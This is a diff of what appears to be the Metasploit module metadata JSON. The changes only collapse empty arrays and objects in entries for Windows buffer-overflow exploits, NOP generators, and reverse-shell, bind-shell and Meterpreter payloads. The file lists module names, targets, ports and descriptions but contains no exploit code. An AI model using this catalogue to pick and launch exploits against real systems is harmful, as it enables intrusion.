@@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/tftp/tftpserver_wrq_bof": { "name": "TFTP Server for Windows 1.4 ST WRQ Buffer Overflow", "fullname": "exploit/windows/tftp/tftpserver_wrq_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-03-26", "type": "exploit", @@ -196648,12 +174668,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP2/SP3 EN Service Mode", "Windows XP SP2/SP3 EN Standalone Mode", @@ -196669,17 +174685,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/tftp/threectftpsvc_long_mode": { "name": "3CTftpSvc TFTP Long Mode Buffer Overflow", "fullname": "exploit/windows/tftp/threectftpsvc_long_mode", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-11-27", "type": "exploit", @@ -196696,12 +174709,8 @@ "platform": "Windows", "arch": "", "rport": 69, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "3CTftpSvc 2.0.1" ], @@ -196712,17 +174721,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/unicenter/cam_log_security": { "name": "CA CAM log_security() Stack Buffer Overflow (Win32)", "fullname": "exploit/windows/unicenter/cam_log_security", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-08-22", "type": "exploit", @@ -196738,12 +174744,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "W2API.DLL TNG 2.3", "Windows 2000 SP0-SP4 English", @@ -196758,17 +174760,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/vnc/realvnc_client": { "name": "RealVNC 3.3.7 Client Buffer Overflow", "fullname": "exploit/windows/vnc/realvnc_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2001-01-29", "type": "exploit", @@ -196784,12 +174783,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English", "Windows XP SP2 English", @@ -196802,17 +174797,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/vnc/ultravnc_client": { "name": "UltraVNC 1.0.1 Client Buffer Overflow", "fullname": "exploit/windows/vnc/ultravnc_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2006-04-04", "type": "exploit", @@ -196828,12 +174820,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 SP4 English", "Windows XP SP2 English", @@ -196846,17 +174834,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/vnc/ultravnc_viewer_bof": { "name": "UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow", "fullname": "exploit/windows/vnc/ultravnc_viewer_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-02-06", "type": "exploit", @@ -196872,12 +174857,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], @@ -196888,17 +174869,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/vnc/winvnc_http_get": { "name": "WinVNC Web Server GET Overflow", "fullname": "exploit/windows/vnc/winvnc_http_get", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2001-01-29", "type": "exploit", @@ -196941,17 +174919,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/vpn/safenet_ike_11": { "name": "SafeNet SoftRemote IKE Service Buffer Overflow", "fullname": "exploit/windows/vpn/safenet_ike_11", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-06-01", "type": "exploit", @@ -196968,12 +174943,8 @@ "platform": "Windows", "arch": "", "rport": 62514, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "SafeNet Irelke 10.8.0.20", "SafeNet Irelke 10.8.0.10", @@ -196986,17 +174957,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/winrm/winrm_script_exec": { "name": "WinRM Script Exec Remote Code Execution", "fullname": "exploit/windows/winrm/winrm_script_exec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2012-11-01", "type": "exploit", @@ -197056,9 +175024,7 @@ "exploit_windows/wins/ms04_045_wins": { "name": "MS04-045 Microsoft WINS Service Memory Overwrite", "fullname": "exploit/windows/wins/ms04_045_wins", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-12-14", "type": "exploit", @@ -197075,12 +175041,8 @@ "platform": "Windows", "arch": "", "rport": 42, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 English" ], @@ -197091,17 +175053,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "nop_aarch64/simple": { "name": "Simple", "fullname": "nop/aarch64/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197109,9 +175068,7 @@ "timwr" ], "description": "Simple NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "aarch64", "rport": null, @@ -197125,17 +175082,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_armle/simple": { "name": "Simple", "fullname": "nop/armle/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197143,9 +175097,7 @@ "hdm " ], "description": "Simple NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "armle", "rport": null, @@ -197159,17 +175111,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_cmd/generic": { "name": "Generic Command Nop Generator", "fullname": "nop/cmd/generic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197178,9 +175127,7 @@ "bcoles " ], "description": "Generates harmless padding for command payloads.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "cmd", "rport": null, @@ -197194,17 +175141,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_mipsbe/better": { "name": "Better", "fullname": "nop/mipsbe/better", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197212,9 +175156,7 @@ "jm" ], "description": "Better NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "mipsbe", "rport": null, @@ -197228,17 +175170,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_php/generic": { "name": "PHP Nop Generator", "fullname": "nop/php/generic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197246,9 +175185,7 @@ "hdm " ], "description": "Generates harmless padding for PHP scripts", - "references": [ - - ], + "references": [], "platform": "All", "arch": "php", "rport": null, @@ -197262,17 +175199,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_ppc/simple": { "name": "Simple", "fullname": "nop/ppc/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197280,9 +175214,7 @@ "hdm " ], "description": "Simple NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "ppc", "rport": null, @@ -197296,17 +175228,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_riscv32le/simple": { "name": "Simple", "fullname": "nop/riscv32le/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197314,9 +175243,7 @@ "bcoles " ], "description": "Simple NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "riscv32le", "rport": null, @@ -197330,17 +175257,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_riscv64le/simple": { "name": "Simple", "fullname": "nop/riscv64le/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197348,9 +175272,7 @@ "bcoles " ], "description": "Simple NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "riscv64le", "rport": null, @@ -197364,17 +175286,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_sparc/random": { "name": "SPARC NOP Generator", "fullname": "nop/sparc/random", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197382,9 +175301,7 @@ "vlad902 " ], "description": "SPARC NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "sparc", "rport": null, @@ -197398,17 +175315,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_tty/generic": { "name": "TTY Nop Generator", "fullname": "nop/tty/generic", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197416,9 +175330,7 @@ "hdm " ], "description": "Generates harmless padding for TTY input", - "references": [ - - ], + "references": [], "platform": "All", "arch": "tty", "rport": null, @@ -197432,17 +175344,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_x64/simple": { "name": "Simple", "fullname": "nop/x64/simple", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197450,9 +175359,7 @@ "sf " ], "description": "An x64 single/multi byte NOP instruction generator.", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x64", "rport": null, @@ -197466,17 +175373,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_x86/opty2": { "name": "Opty2", "fullname": "nop/x86/opty2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197485,9 +175389,7 @@ "optyx " ], "description": "Opty2 multi-byte NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -197501,17 +175403,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "nop_x86/single_byte": { "name": "Single Byte", "fullname": "nop/x86/single_byte", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "nop", @@ -197519,9 +175418,7 @@ "spoonm " ], "description": "Single-byte NOP generator", - "references": [ - - ], + "references": [], "platform": "All", "arch": "x86", "rport": null, @@ -197535,17 +175432,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false }, "payload_aix/ppc/shell_bind_tcp": { "name": "AIX Command Shell, Bind TCP Inline", "fullname": "payload/aix/ppc/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197553,9 +175447,7 @@ "Ramon de C Valle " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "AIX", "arch": "ppc", "rport": null, @@ -197569,8 +175461,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197579,9 +175470,7 @@ "payload_aix/ppc/shell_find_port": { "name": "AIX Command Shell, Find Port Inline", "fullname": "payload/aix/ppc/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197589,9 +175478,7 @@ "Ramon de C Valle " ], "description": "Spawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "AIX", "arch": "ppc", "rport": null, @@ -197605,8 +175492,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197615,9 +175501,7 @@ "payload_aix/ppc/shell_interact": { "name": "AIX execve Shell for inetd", "fullname": "payload/aix/ppc/shell_interact", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197625,9 +175509,7 @@ "jduck " ], "description": "Simply execve /bin/sh (for inetd programs)", - "references": [ - - ], + "references": [], "platform": "AIX", "arch": "ppc", "rport": null, @@ -197641,8 +175523,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197651,9 +175532,7 @@ "payload_aix/ppc/shell_reverse_tcp": { "name": "AIX Command Shell, Reverse TCP Inline", "fullname": "payload/aix/ppc/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197661,9 +175540,7 @@ "Ramon de C Valle " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "AIX", "arch": "ppc", "rport": null, @@ -197677,8 +175554,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197687,9 +175563,7 @@ "payload_android/meterpreter/reverse_http": { "name": "Android Meterpreter, Android Reverse HTTP Stager", "fullname": "payload/android/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197700,9 +175574,7 @@ "anwarelmakrahy" ], "description": "Run a meterpreter server in Android.\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, @@ -197716,8 +175588,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -197728,9 +175599,7 @@ "payload_android/meterpreter/reverse_https": { "name": "Android Meterpreter, Android Reverse HTTPS Stager", "fullname": "payload/android/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197741,9 +175610,7 @@ "anwarelmakrahy" ], "description": "Run a meterpreter server in Android.\n\nTunnel communication over HTTPS", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, @@ -197757,8 +175624,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -197769,9 +175635,7 @@ "payload_android/meterpreter/reverse_tcp": { "name": "Android Meterpreter, Android Reverse TCP Stager", "fullname": "payload/android/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197781,9 +175645,7 @@ "OJ Reeves" ], "description": "Run a meterpreter server in Android.\n\nConnect back stager", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, @@ -197797,8 +175659,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -197809,19 +175670,13 @@ "payload_android/meterpreter_reverse_http": { "name": "Android Meterpreter Shell, Reverse HTTP Inline", "fullname": "payload/android/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "Connect back to attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, @@ -197835,8 +175690,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197845,19 +175699,13 @@ "payload_android/meterpreter_reverse_https": { "name": "Android Meterpreter Shell, Reverse HTTPS Inline", "fullname": "payload/android/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "Connect back to attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, @@ -197871,8 +175719,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197881,19 +175728,13 @@ "payload_android/meterpreter_reverse_tcp": { "name": "Android Meterpreter Shell, Reverse TCP Inline", "fullname": "payload/android/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "Connect back to the attacker and spawn a Meterpreter shell", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, @@ -197907,8 +175748,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -197917,9 +175757,7 @@ "payload_android/shell/reverse_http": { "name": "Command Shell, Android Reverse HTTP Stager", "fullname": "payload/android/shell/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197930,9 +175768,7 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (sh).\n\nTunnel communication over HTTP", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, @@ -197946,8 +175782,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -197958,9 +175793,7 @@ "payload_android/shell/reverse_https": { "name": "Command Shell, Android Reverse HTTPS Stager", "fullname": "payload/android/shell/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -197971,9 +175804,7 @@ "OJ Reeves" ], "description": "Spawn a piped command shell (sh).\n\nTunnel communication over HTTPS", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, @@ -197987,8 +175818,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -197999,9 +175829,7 @@ "payload_android/shell/reverse_tcp": { "name": "Command Shell, Android Reverse TCP Stager", "fullname": "payload/android/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198010,9 +175838,7 @@ "egypt " ], "description": "Spawn a piped command shell (sh).\n\nConnect back stager", - "references": [ - - ], + "references": [], "platform": "Android", "arch": "dalvik", "rport": null, @@ -198026,8 +175852,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -198038,9 +175863,7 @@ "payload_apple_ios/aarch64/meterpreter_reverse_http": { "name": "Apple_iOS Meterpreter, Reverse HTTP Inline", "fullname": "payload/apple_ios/aarch64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198050,9 +175873,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "aarch64", "rport": null, @@ -198066,8 +175887,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198076,9 +175896,7 @@ "payload_apple_ios/aarch64/meterpreter_reverse_https": { "name": "Apple_iOS Meterpreter, Reverse HTTPS Inline", "fullname": "payload/apple_ios/aarch64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198088,9 +175906,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "aarch64", "rport": null, @@ -198104,8 +175920,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198114,9 +175929,7 @@ "payload_apple_ios/aarch64/meterpreter_reverse_tcp": { "name": "Apple_iOS Meterpreter, Reverse TCP Inline", "fullname": "payload/apple_ios/aarch64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198126,9 +175939,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "aarch64", "rport": null, @@ -198142,8 +175953,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198152,19 +175962,13 @@ "payload_apple_ios/aarch64/shell_reverse_tcp": { "name": "Apple iOS aarch64 Command Shell, Reverse TCP Inline", "fullname": "payload/apple_ios/aarch64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", - "author": [ - - ], + "author": [], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "aarch64", "rport": null, @@ -198178,8 +175982,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198188,9 +175991,7 @@ "payload_apple_ios/armle/meterpreter_reverse_http": { "name": "Apple_iOS Meterpreter, Reverse HTTP Inline", "fullname": "payload/apple_ios/armle/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198200,9 +176001,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "armle", "rport": null, @@ -198216,8 +176015,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198226,9 +176024,7 @@ "payload_apple_ios/armle/meterpreter_reverse_https": { "name": "Apple_iOS Meterpreter, Reverse HTTPS Inline", "fullname": "payload/apple_ios/armle/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198238,9 +176034,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "armle", "rport": null, @@ -198254,8 +176048,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198264,9 +176057,7 @@ "payload_apple_ios/armle/meterpreter_reverse_tcp": { "name": "Apple_iOS Meterpreter, Reverse TCP Inline", "fullname": "payload/apple_ios/armle/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198276,9 +176067,7 @@ "timwr" ], "description": "Run the Meterpreter / Mettle server payload (stageless)", - "references": [ - - ], + "references": [], "platform": "Apple_iOS", "arch": "armle", "rport": null, @@ -198292,8 +176081,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198302,9 +176090,7 @@ "payload_bsd/sparc/shell_bind_tcp": { "name": "BSD Command Shell, Bind TCP Inline", "fullname": "payload/bsd/sparc/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198312,9 +176098,7 @@ "vlad902 " ], "description": "Listen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "sparc", "rport": null, @@ -198328,8 +176112,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198338,9 +176121,7 @@ "payload_bsd/sparc/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", "fullname": "payload/bsd/sparc/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198348,9 +176129,7 @@ "vlad902 " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "sparc", "rport": null, @@ -198364,8 +176143,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198374,9 +176152,7 @@ "payload_bsd/vax/shell_reverse_tcp": { "name": "BSD Command Shell, Reverse TCP Inline", "fullname": "payload/bsd/vax/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198384,9 +176160,7 @@ "wvu " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "vax", "rport": null, @@ -198400,8 +176174,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198410,9 +176183,7 @@ "payload_bsd/x64/exec": { "name": "BSD x64 Execute Command", "fullname": "payload/bsd/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198420,9 +176191,7 @@ "joev " ], "description": "Execute an arbitrary command", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x64", "rport": null, @@ -198436,8 +176205,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198446,9 +176214,7 @@ "payload_bsd/x64/shell_bind_ipv6_tcp": { "name": "BSD x64 Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/bsd/x64/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198472,8 +176238,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198482,9 +176247,7 @@ "payload_bsd/x64/shell_bind_tcp": { "name": "BSD x64 Shell Bind TCP", "fullname": "payload/bsd/x64/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198493,9 +176256,7 @@ "joev " ], "description": "Bind an arbitrary command to an arbitrary port", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x64", "rport": null, @@ -198509,8 +176270,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198519,9 +176279,7 @@ "payload_bsd/x64/shell_bind_tcp_small": { "name": "BSD x64 Command Shell, Bind TCP Inline", "fullname": "payload/bsd/x64/shell_bind_tcp_small", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198545,8 +176303,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198555,9 +176312,7 @@ "payload_bsd/x64/shell_reverse_ipv6_tcp": { "name": "BSD x64 Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/bsd/x64/shell_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198581,8 +176336,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198591,9 +176345,7 @@ "payload_bsd/x64/shell_reverse_tcp": { "name": "BSD x64 Shell Reverse TCP", "fullname": "payload/bsd/x64/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -198602,9 +176354,7 @@ "joev " ], "description": "Connect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "BSD", "arch": "x64", "rport": null, @@ -198618,8 +176368,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -198628,9 +176377,7 @@ "payload_bsd/x64/shell_reverse_tcp_small": { "name": "BSD x64 Command Shell, Reverse TCP Inline", "fullname": "payload/bsd/x64/shell_reverse_tcp_small", - "aliases": [ - - ], + "aliases": [], "rank": 300, 